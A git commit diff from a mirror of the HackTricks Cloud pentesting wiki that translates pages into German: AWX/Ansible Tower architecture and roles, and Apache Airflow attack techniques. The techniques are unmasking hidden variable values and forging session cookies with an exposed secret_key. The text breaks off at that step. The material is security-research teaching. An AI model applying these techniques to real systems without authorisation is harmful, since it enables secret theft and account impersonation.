mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 23:00:49 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -6,35 +6,31 @@ Reading time: {{ #reading_time }}
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks Logos & Motion Design von_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
|
||||
> Willkommen auf der Seite, auf der Sie jeden **Hacking-Trick/Technik/was auch immer im Zusammenhang mit CI/CD & Cloud** finden, den ich in **CTFs**, **realen** Lebensumgebungen, **Forschung** und **Lesen** von Forschungen und Nachrichten gelernt habe.
|
||||
|
||||
### **Pentesting CI/CD Methodology**
|
||||
### **Pentesting CI/CD Methodologie**
|
||||
|
||||
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
|
||||
**In der HackTricks CI/CD Methodologie finden Sie, wie man Infrastruktur im Zusammenhang mit CI/CD-Aktivitäten pentestet.** Lesen Sie die folgende Seite für eine **Einführung:**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Methodology
|
||||
### Pentesting Cloud Methodologie
|
||||
|
||||
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
|
||||
**In der HackTricks Cloud Methodologie finden Sie, wie man Cloud-Umgebungen pentestet.** Lesen Sie die folgende Seite für eine **Einführung:**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### License & Disclaimer
|
||||
### Lizenz & Haftungsausschluss
|
||||
|
||||
**Check them in:**
|
||||
**Überprüfen Sie sie in:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
[HackTricks Werte & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Github Stats
|
||||
### Github Statistiken
|
||||
|
||||

|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -505,3 +505,5 @@
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,17 +1,13 @@
|
||||
> [!TIP]
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Support HackTricks</summary>
|
||||
> <summary>Unterstützen Sie HackTricks</summary>
|
||||
>
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
>
|
||||
> </details>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,63 +1,62 @@
|
||||
# Ansible Tower / AWX / Automation controller Security
|
||||
# Ansible Tower / AWX / Automation controller Sicherheit
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundinformationen
|
||||
|
||||
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
|
||||
**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible Benutzeroberfläche, Dashboard und REST API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST API von Tower und die Befehlszeilenschnittstelle machen es einfach, sie in aktuelle Tools und Workflows zu integrieren.
|
||||
|
||||
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
|
||||
**Automation Controller ist eine neuere** Version von Ansible Tower mit mehr Funktionen.
|
||||
|
||||
### Differences
|
||||
### Unterschiede
|
||||
|
||||
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
|
||||
Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) sind die Hauptunterschiede zwischen Ansible Tower und AWX die erhaltene Unterstützung, und Ansible Tower hat zusätzliche Funktionen wie rollenbasierte Zugriffskontrolle, Unterstützung für benutzerdefinierte APIs und benutzerdefinierte Workflows.
|
||||
|
||||
### Tech Stack
|
||||
### Tech-Stack
|
||||
|
||||
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
|
||||
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
|
||||
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
|
||||
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
|
||||
- **Redis**: Redis serves as a cache and a backend for the task queue.
|
||||
- **Weboberfläche**: Dies ist die grafische Oberfläche, über die Benutzer Inventare, Anmeldeinformationen, Vorlagen und Jobs verwalten können. Sie ist so gestaltet, dass sie intuitiv ist und Visualisierungen bietet, um den Zustand und die Ergebnisse Ihrer Automatisierungsjobs zu verstehen.
|
||||
- **REST API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche ausführen würden.
|
||||
- **Datenbank**: AWX/Tower verwendet eine Datenbank (typischerweise PostgreSQL), um seine Konfiguration, Jobresultate und andere notwendige Betriebsdaten zu speichern.
|
||||
- **RabbitMQ**: Dies ist das Messaging-System, das von AWX/Tower verwendet wird, um zwischen den verschiedenen Komponenten zu kommunizieren, insbesondere zwischen dem Webdienst und den Aufgabenläufern.
|
||||
- **Redis**: Redis dient als Cache und Backend für die Aufgabenwarteschlange.
|
||||
|
||||
### Logical Components
|
||||
### Logische Komponenten
|
||||
|
||||
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
|
||||
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
|
||||
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
|
||||
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
|
||||
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
|
||||
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
|
||||
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
|
||||
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
|
||||
- **Inventare**: Ein Inventar ist eine **Sammlung von Hosts (oder Knoten)**, gegen die **Jobs** (Ansible-Playbooks) **ausgeführt** werden können. AWX/Tower ermöglicht es Ihnen, Ihre Inventare zu definieren und zu gruppieren und unterstützt auch dynamische Inventare, die **Hostlisten aus anderen Systemen** wie AWS, Azure usw. abrufen können.
|
||||
- **Projekte**: Ein Projekt ist im Wesentlichen eine **Sammlung von Ansible-Playbooks**, die aus einem **Versionskontrollsystem** (wie Git) stammen, um die neuesten Playbooks bei Bedarf abzurufen.
|
||||
- **Vorlagen**: Jobvorlagen definieren, **wie ein bestimmtes Playbook ausgeführt wird**, indem sie das **Inventar**, die **Anmeldeinformationen** und andere **Parameter** für den Job angeben.
|
||||
- **Anmeldeinformationen**: AWX/Tower bietet eine sichere Möglichkeit, **Geheimnisse wie SSH-Schlüssel, Passwörter und API-Tokens zu verwalten und zu speichern**. Diese Anmeldeinformationen können mit Jobvorlagen verknüpft werden, sodass Playbooks beim Ausführen den erforderlichen Zugriff haben.
|
||||
- **Aufgaben-Engine**: Hier passiert die Magie. Die Aufgaben-Engine basiert auf Ansible und ist verantwortlich für das **Ausführen der Playbooks**. Jobs werden an die Aufgaben-Engine übergeben, die dann die Ansible-Playbooks gegen das festgelegte Inventar mit den angegebenen Anmeldeinformationen ausführt.
|
||||
- **Planer und Rückrufe**: Dies sind erweiterte Funktionen in AWX/Tower, die es ermöglichen, **Jobs zu bestimmten Zeiten zu planen** oder durch externe Ereignisse ausgelöst zu werden.
|
||||
- **Benachrichtigungen**: AWX/Tower kann Benachrichtigungen basierend auf dem Erfolg oder Misserfolg von Jobs senden. Es unterstützt verschiedene Benachrichtigungsmethoden wie E-Mails, Slack-Nachrichten, Webhooks usw.
|
||||
- **Ansible-Playbooks**: Ansible-Playbooks sind Konfigurations-, Bereitstellungs- und Orchestrierungstools. Sie beschreiben den gewünschten Zustand von Systemen auf automatisierte, wiederholbare Weise. In YAML geschrieben, verwenden Playbooks Ansible's deklarative Automatisierungssprache, um Konfigurationen, Aufgaben und Schritte zu beschreiben, die ausgeführt werden müssen.
|
||||
|
||||
### Job Execution Flow
|
||||
### Jobausführungsfluss
|
||||
|
||||
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
|
||||
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
|
||||
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
|
||||
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
|
||||
4. **Job Execution**:
|
||||
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
|
||||
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
|
||||
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
|
||||
5. **Job Results**:
|
||||
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
|
||||
- Users can then view the results through the Web Interface or query them via the REST API.
|
||||
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
|
||||
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
|
||||
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
|
||||
1. **Benutzerinteraktion**: Ein Benutzer kann über die **Weboberfläche** oder die **REST API** mit AWX/Tower interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen.
|
||||
2. **Jobinitiierung**:
|
||||
- Der Benutzer initiiert über die Weboberfläche oder API einen Job basierend auf einer **Jobvorlage**.
|
||||
- Die Jobvorlage enthält Verweise auf das **Inventar**, das **Projekt** (das das Playbook enthält) und die **Anmeldeinformationen**.
|
||||
- Bei der Jobinitiierung wird eine Anfrage an das AWX/Tower-Backend gesendet, um den Job zur Ausführung in die Warteschlange zu stellen.
|
||||
3. **Jobwarteschlange**:
|
||||
- **RabbitMQ** verwaltet die Nachrichtenübertragung zwischen der Webkomponente und den Aufgabenläufern. Sobald ein Job initiiert wird, wird eine Nachricht an die Aufgaben-Engine über RabbitMQ gesendet.
|
||||
- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange stehenden Jobs, die auf die Ausführung warten.
|
||||
4. **Jobausführung**:
|
||||
- Die **Aufgaben-Engine** nimmt den in der Warteschlange stehenden Job auf. Sie ruft die erforderlichen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab.
|
||||
- Mit dem abgerufenen Ansible-Playbook aus dem zugehörigen **Projekt** führt die Aufgaben-Engine das Playbook gegen die angegebenen **Inventar**-Knoten mit den bereitgestellten **Anmeldeinformationen** aus.
|
||||
- Während das Playbook ausgeführt wird, werden die Ausführungsprotokolle (Logs, Fakten usw.) erfasst und in der **Datenbank** gespeichert.
|
||||
5. **Jobergebnisse**:
|
||||
- Sobald das Playbook die Ausführung abgeschlossen hat, werden die Ergebnisse (Erfolg, Misserfolg, Protokolle) in der **Datenbank** gespeichert.
|
||||
- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder sie über die REST API abfragen.
|
||||
- Basierend auf den Jobergebnissen können **Benachrichtigungen** versendet werden, um Benutzer oder externe Systeme über den Status des Jobs zu informieren. Benachrichtigungen können E-Mails, Slack-Nachrichten, Webhooks usw. sein.
|
||||
6. **Integration externer Systeme**:
|
||||
- **Inventare** können dynamisch aus externen Systemen bezogen werden, sodass AWX/Tower Hosts aus Quellen wie AWS, Azure, VMware und mehr abrufen kann.
|
||||
- **Projekte** (Playbooks) können aus Versionskontrollsystemen abgerufen werden, um sicherzustellen, dass während der Jobausführung aktuelle Playbooks verwendet werden.
|
||||
- **Planer und Rückrufe** können verwendet werden, um mit anderen Systemen oder Tools zu integrieren, sodass AWX/Tower auf externe Auslöser reagiert oder Jobs zu festgelegten Zeiten ausführt.
|
||||
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
|
||||
### AWX-Laborerstellung für Tests
|
||||
|
||||
[**Den Dokumenten folgend**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) ist es möglich, docker-compose zu verwenden, um AWX auszuführen:
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
|
||||
# Load demo data
|
||||
docker exec tools_awx_1 awx-manage create_preload_data
|
||||
```
|
||||
|
||||
## RBAC
|
||||
|
||||
### Supported roles
|
||||
### Unterstützte Rollen
|
||||
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
Die privilegierteste Rolle wird **Systemadministrator** genannt. Jeder mit dieser Rolle kann **alles ändern**.
|
||||
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemauditorrolle**, die es ermöglicht, **alle Systemdaten anzuzeigen**, aber keine Änderungen vorzunehmen. Eine andere Möglichkeit wäre, die **Organisationsauditorrolle** zu erhalten, aber es wäre besser, die andere zu bekommen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
<summary>Erweitern Sie dies, um eine detaillierte Beschreibung der verfügbaren Rollen zu erhalten</summary>
|
||||
|
||||
1. **System Administrator**:
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
2. **System Auditor**:
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Full control over the organization's resources.
|
||||
- **Auditor**: View-only access to the organization's resources.
|
||||
- **Member**: Basic membership in an organization without any specific permissions.
|
||||
- **Execute**: Can run job templates within the organization.
|
||||
- **Read**: Can view the organization’s resources.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Can manage and modify the project.
|
||||
- **Use**: Can use the project in a job template.
|
||||
- **Update**: Can update project using SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Can manage and modify the inventory.
|
||||
- **Ad Hoc**: Can run ad hoc commands on the inventory.
|
||||
- **Update**: Can update the inventory source.
|
||||
- **Use**: Can use the inventory in a job template.
|
||||
- **Read**: View-only access.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Can manage and modify the job template.
|
||||
- **Execute**: Can run the job.
|
||||
- **Read**: View-only access.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: Can manage and modify the credentials.
|
||||
- **Use**: Can use the credentials in job templates or other relevant resources.
|
||||
- **Read**: View-only access.
|
||||
8. **Team Roles**:
|
||||
- **Member**: Part of the team but without any specific permissions.
|
||||
- **Admin**: Can manage the team's members and associated resources.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: Can manage and modify the workflow.
|
||||
- **Execute**: Can run the workflow.
|
||||
- **Read**: View-only access.
|
||||
1. **Systemadministrator**:
|
||||
- Dies ist die Superuser-Rolle mit Berechtigungen zum Zugriff auf und zur Änderung aller Ressourcen im System.
|
||||
- Sie können alle Organisationen, Teams, Projekte, Inventare, Jobvorlagen usw. verwalten.
|
||||
2. **Systemauditor**:
|
||||
- Benutzer mit dieser Rolle können alle Systemdaten anzeigen, aber keine Änderungen vornehmen.
|
||||
- Diese Rolle ist für Compliance und Aufsicht konzipiert.
|
||||
3. **Organisationsrollen**:
|
||||
- **Admin**: Vollständige Kontrolle über die Ressourcen der Organisation.
|
||||
- **Auditor**: Nur Lesezugriff auf die Ressourcen der Organisation.
|
||||
- **Mitglied**: Grundlegende Mitgliedschaft in einer Organisation ohne spezifische Berechtigungen.
|
||||
- **Ausführen**: Kann Jobvorlagen innerhalb der Organisation ausführen.
|
||||
- **Lesen**: Kann die Ressourcen der Organisation anzeigen.
|
||||
4. **Projektrollen**:
|
||||
- **Admin**: Kann das Projekt verwalten und ändern.
|
||||
- **Verwenden**: Kann das Projekt in einer Jobvorlage verwenden.
|
||||
- **Aktualisieren**: Kann das Projekt mit SCM (Source Control) aktualisieren.
|
||||
5. **Inventarrollen**:
|
||||
- **Admin**: Kann das Inventar verwalten und ändern.
|
||||
- **Ad Hoc**: Kann Ad-hoc-Befehle im Inventar ausführen.
|
||||
- **Aktualisieren**: Kann die Inventarquelle aktualisieren.
|
||||
- **Verwenden**: Kann das Inventar in einer Jobvorlage verwenden.
|
||||
- **Lesen**: Nur Lesezugriff.
|
||||
6. **Jobvorlagenrollen**:
|
||||
- **Admin**: Kann die Jobvorlage verwalten und ändern.
|
||||
- **Ausführen**: Kann den Job ausführen.
|
||||
- **Lesen**: Nur Lesezugriff.
|
||||
7. **Berechtigungsrollen**:
|
||||
- **Admin**: Kann die Berechtigungen verwalten und ändern.
|
||||
- **Verwenden**: Kann die Berechtigungen in Jobvorlagen oder anderen relevanten Ressourcen verwenden.
|
||||
- **Lesen**: Nur Lesezugriff.
|
||||
8. **Teamrollen**:
|
||||
- **Mitglied**: Teil des Teams, aber ohne spezifische Berechtigungen.
|
||||
- **Admin**: Kann die Mitglieder des Teams und die zugehörigen Ressourcen verwalten.
|
||||
9. **Workflow-Rollen**:
|
||||
- **Admin**: Kann den Workflow verwalten und ändern.
|
||||
- **Ausführen**: Kann den Workflow ausführen.
|
||||
- **Lesen**: Nur Lesezugriff.
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,21 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Grundlegende Informationen
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
[**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Anordnens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind.
|
||||
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
Im Grunde genommen ermöglicht es Apache Airflow, die **Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**.
|
||||
|
||||
### Local Lab
|
||||
### Lokales Labor
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie MacOS verwenden, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen).
|
||||
|
||||
#### Minikube
|
||||
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
Eine einfache Möglichkeit, **Apache Airflow** auszuführen, besteht darin, es **mit Minikube** auszuführen:
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
### Airflow-Konfiguration
|
||||
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie könnten schwache Konfigurationen finden:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
@@ -38,65 +36,62 @@ airflow-configuration.md
|
||||
|
||||
### Airflow RBAC
|
||||
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
Bevor Sie mit dem Angriff auf Airflow beginnen, sollten Sie verstehen, **wie Berechtigungen funktionieren**:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
### Attacks
|
||||
### Angriffe
|
||||
|
||||
#### Web Console Enumeration
|
||||
#### Webkonsole Aufzählung
|
||||
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
Wenn Sie **Zugriff auf die Webkonsole** haben, könnten Sie in der Lage sein, einige oder alle der folgenden Informationen zuzugreifen:
|
||||
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
- **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)
|
||||
- **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)
|
||||
- Greifen Sie darauf zu in `http://<airflow>/connection/list/`
|
||||
- [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert sein)
|
||||
- Liste der **Benutzer & Rollen**
|
||||
- **Code jedes DAG** (der interessante Informationen enthalten könnte)
|
||||
|
||||
#### Retrieve Variables Values
|
||||
#### Abrufen von Variablenwerten
|
||||
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
Variablen können in Airflow gespeichert werden, damit die **DAGs** ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http://<airflow>/variable/list/` abrufen.\
|
||||
Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**diesem**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** als **Sternchen** in der **GUI** angezeigt wird.
|
||||
|
||||
.png>)
|
||||
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**, die auf den Variablen-Endpunkt zugreift (die API muss aktiviert sein), und **sogar die GUI selbst!**\
|
||||
Um auf diese Werte über die GUI zuzugreifen, wählen Sie einfach die **Variablen** aus, auf die Sie zugreifen möchten, und **klicken Sie auf Aktionen -> Exportieren**.\
|
||||
Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckten Wert** durchzuführen, indem Sie die **Suchfilterung** verwenden, bis Sie ihn erhalten:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
#### Privilegieneskalation
|
||||
|
||||
